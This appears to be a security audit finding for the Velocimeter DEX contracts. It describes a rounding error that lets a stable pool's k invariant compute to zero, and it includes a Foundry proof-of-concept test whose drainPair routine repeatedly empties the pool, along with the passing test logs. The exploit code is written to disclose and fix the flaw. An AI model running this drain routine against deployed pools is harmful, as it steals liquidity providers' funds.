Funny Merlot Yeti

High

# Rounding error allows first LP of a stable pair to drain it

## Summary
The invariant k of a stable pool can be calculated as 0 if the initial LP mints a small amount of liquidity to the pool. This provider can then DOS the pair by minting a small amount of liquidity and then stealing what's left in the pool. This can be prevented by either increasing the minimal reserves for a pool or by setting a minimal value for the k invariant.

## Vulnerability Detail

The implementation of the [k invariant](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Pair.sol#L403) does the following for stable pools:
```solidity
uint _a = (_x * _y) / 1e18;
uint _b = ((_x * _x) / 1e18 + (_y * _y) / 1e18);
return _a * _b / 1e18;  // x3y+y3x >= k
```

This function can return 0 when `_a` is 0, which happens when `_x * _y` is less than `1e18`.

The [mint function](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Pair.sol#L250), which is borrowed from UniswapV2, does a minimal check that  x * y  > [MINIMUM_LIQUIDITY](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Pair.sol#L31). This check is not sufficient in some circumstances.

The first LP can attack the Pair by repeatedly minting a small amount of liquidity and then stealing what is left in the pool.

## Impact
High risk of fund loss

## Code Snippet

```solidity
pragma solidity 0.8.13;


import './BaseTest.sol';

contract PairTest is BaseTest {
  // ...
  VotingEscrow escrow;
  GaugeFactory gaugeFactory;
  BribeFactory bribeFactory;
  Voter voter;

  function deployVoter() internal
  {
    gaugeFactory = new GaugeFactory();
    bribeFactory = new BribeFactory();
    gaugePlugin = new GaugePlugin(address(FLOW), address(WETH), address(this));

    VeArtProxy artProxy = new VeArtProxy();
    escrow = new VotingEscrow(address(FLOW),address(flowDaiPair), address(artProxy), address(this));

    voter = new Voter(address(escrow), address(factory), address(gaugeFactory), address(bribeFactory), address(gaugePlugin));

    escrow.setVoter(address(voter));
    factory.setVoter(address(voter));
    assertEq(voter.length(), 0);
  }

  function drainPair(Pair pair, uint initialFraxAmount, uint initialDaiAmount) internal {

    DAI.transfer(address(pair), 1);
    uint amount0;
    uint amount1;
    if (address(DAI) < address(FRAX)) {
      amount0 = 0;
      amount1 = initialFraxAmount - 1;
    } else {
      amount1 = 0;
      amount0 = initialFraxAmount - 1;
    }

    pair.swap(amount0, amount1, address(this), new bytes(0));
    FRAX.transfer(address(pair), 1);
    if (address(DAI) < address(FRAX)) {
      amount0 = initialDaiAmount; // initialDaiAmount + 1 - 1
      amount1 = 0;
    } else {
      amount1 = initialDaiAmount; // initialDaiAmount + 1 - 1
      amount0 = 0;
    }
    pair.swap(amount0, amount1, address(this), new bytes(0));
  }
  function testDestroyPair() public {

    deployOwners();
    deployCoins();
    deal(address(DAI), address(this), 100 ether);
    deal(address(FRAX), address(this), 100 ether);
    deployPairFactoryAndRouter();
    deployVoter();
    vm.startPrank(address(this), address(this));
    address addr1 = factory.createPair(address(DAI), address(FRAX), true);
    vm.stopPrank();
    pair = Pair(addr1);

    for(uint i = 0; i < 10; i++) {
      console.log("iteration: ", i);
      DAI.transfer(address(pair), 10_000_000);
      FRAX.transfer(address(pair), 10_000_000);
      // as long as 10_000_000^2 < 1e18
      uint liquidity = pair.mint(address(this));
      console.log("pair:", address(pair), "liquidity:", liquidity);
      console.log("total liq:", pair.balanceOf(address(this)));
      drainPair(pair, FRAX.balanceOf(address(pair)) , DAI.balanceOf(address(pair)));
      console.log("DAI balance:", DAI.balanceOf(address(pair)));
      console.log("FRAX balance:", FRAX.balanceOf(address(pair)));
      require(DAI.balanceOf(address(pair)) == 1, "should drain DAI balance");
      require(FRAX.balanceOf(address(pair)) == 2, "should drain FRAX balance");
    }
    DAI.transfer(address(pair), 1 ether);
    FRAX.transfer(address(pair), 1 ether);
    vm.expectRevert();
    pair.mint(address(this));
  }
}
```
Test results 

## Tool used

Manual Review

## Recommendation

## Appendix: Test results

Ran 1 test for test/PairTest.t.sol:PairTest
[PASS] testDestroyPair() (gas: 34841875)
Logs:
  iteration:  0
  pair: 0x3d6c5434772328f24Bd56399415d6681b12CDF1b liquidity: 9999000
  total liq: 9999000
  DAI balance: 1
  FRAX balance: 2
  iteration:  1
  pair: 0x3d6c5434772328f24Bd56399415d6681b12CDF1b liquidity: 50000000000000
  total liq: 50000009999000
  DAI balance: 1
  FRAX balance: 2
  iteration:  2
  pair: 0x3d6c5434772328f24Bd56399415d6681b12CDF1b liquidity: 250000050000000000000
  total liq: 250000100000009999000
  DAI balance: 1
  FRAX balance: 2
  iteration:  3
  pair: 0x3d6c5434772328f24Bd56399415d6681b12CDF1b liquidity: 1250000500000050000000000000
  total liq: 1250000750000150000009999000
  DAI balance: 1
  FRAX balance: 2
  iteration:  4
  pair: 0x3d6c5434772328f24Bd56399415d6681b12CDF1b liquidity: 6250003750000750000050000000000000
  total liq: 6250005000001500000200000009999000
  DAI balance: 1
  FRAX balance: 2
  iteration:  5
  pair: 0x3d6c5434772328f24Bd56399415d6681b12CDF1b liquidity: 31250025000007500001000000050000000000000
  total liq: 31250031250012500002500000250000009999000
  DAI balance: 1
  FRAX balance: 2
  iteration:  6
  pair: 0x3d6c5434772328f24Bd56399415d6681b12CDF1b liquidity: 156250156250062500012500001250000050000000000000
  total liq: 156250187500093750025000003750000300000009999000
  DAI balance: 1
  FRAX balance: 2
  iteration:  7
  pair: 0x3d6c5434772328f24Bd56399415d6681b12CDF1b liquidity: 781250937500468750125000018750001500000050000000000000
  total liq: 781251093750656250218750043750005250000350000009999000
  DAI balance: 1
  FRAX balance: 2
  iteration:  8
  pair: 0x3d6c5434772328f24Bd56399415d6681b12CDF1b liquidity: 3906255468753281251093750218750026250001750000050000000000000
  total liq: 3906256250004375001750000437500070000007000000400000009999000
  DAI balance: 1
  FRAX balance: 2
  iteration:  9
  pair: 0x3d6c5434772328f24Bd56399415d6681b12CDF1b liquidity: 19531281250021875008750002187500350000035000002000000050000000000000
  total liq: 19531285156278125013125003937500787500105000009000000450000009999000
  DAI balance: 1
  FRAX balance: 2

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 43.58ms (32.01ms CPU time)
